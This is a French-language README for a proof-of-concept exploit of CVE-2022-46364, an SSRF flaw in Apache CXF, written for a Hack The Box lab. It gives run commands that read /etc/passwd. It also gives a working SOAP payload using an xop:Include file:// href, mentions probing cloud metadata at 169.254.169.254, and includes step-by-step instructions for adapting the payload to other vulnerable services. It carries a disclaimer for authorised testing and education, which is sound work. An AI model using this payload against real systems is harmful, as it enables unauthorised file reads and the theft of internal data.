
Preuve de concept d'exploit pour CVE-2022-46364, une vulnérabilité SSRF dans Apache CXF permettant des lectures de fichiers arbitraires et du sondage de réseau interne via des requêtes SOAP MTOM/XOP falsifiées.
Preuve de concept pour CVE-2022-46364 — une vulnérabilité de falsification de requête côté serveur (SSRF) dans Apache CXF lors du traitement des requêtes MTOM/XOP.
CVE-2022-46364 affecte les versions d'Apache CXF antérieures à 3.4.10 et 3.5.5. Lorsque MTOM (Message Transmission Optimization Mechanism) est activé sur un service SOAP, le décodeur CXF valide incorrectement l'attribut href dans les éléments <xop:Include>. Au lieu de limiter href aux URI cid: (comme l'exige la spécification XOP du W3C), CXF déréférence des URI arbitraires — y compris file://, http://, et https://.
Cela permet à un attaquant non authentifié de :
file:///etc/passwd)http://169.254.169.254/)Ce PoC a été écrit et testé contre la machine Hack The Box :
Point de terminaison cible : http://devarea.htb:8080/employeeservice
Mais de petites modifications dans la charge utile XML selon le WSDL cible le rendent adaptable à l'environnement cible.
L'URL par défaut est http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Important : Ce script est codé en dur pour la structure WSDL de DevArea (HTB). Pour l'utiliser contre un autre service Apache CXF vulnérable, vous devez modifier la charge utile SOAP à l'intérieur de
build_payload()pour correspondre au contrat WSDL de la cible.
Récupérer le WSDL depuis la cible :
curl http://target:8080/employeeservice?wsdl
Identifier les détails du service :
targetNamespace (par ex. http://devarea.htb/)submitReport)<arg0> avec <content> imbriqué)Modifier la charge utile dans build_payload() :
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> dans un champ que le serveur traitera comme une pièce jointeMettre à jour --url lors de l'exécution du script.
Étant donné cet extrait WSDL :
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Votre charge utile devrait devenir :
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related avec Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/> est placé.file://.<return>.Content: et la décode.| Ressource | Lien |
|---|---|
| Apache CXF Advisory | CVE-2022-46364 |
| NVD Entry | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| W3C XOP Specification | XML-binary Optimized Packaging |
| Penligent Deep Dive | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Obtenez toujours une autorisation explicite avant de tester des systèmes que vous ne possédez pas. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par ce script.
Licence MIT — n'hésitez pas à l'utiliser, le modifier et le partager avec les crédits appropriés.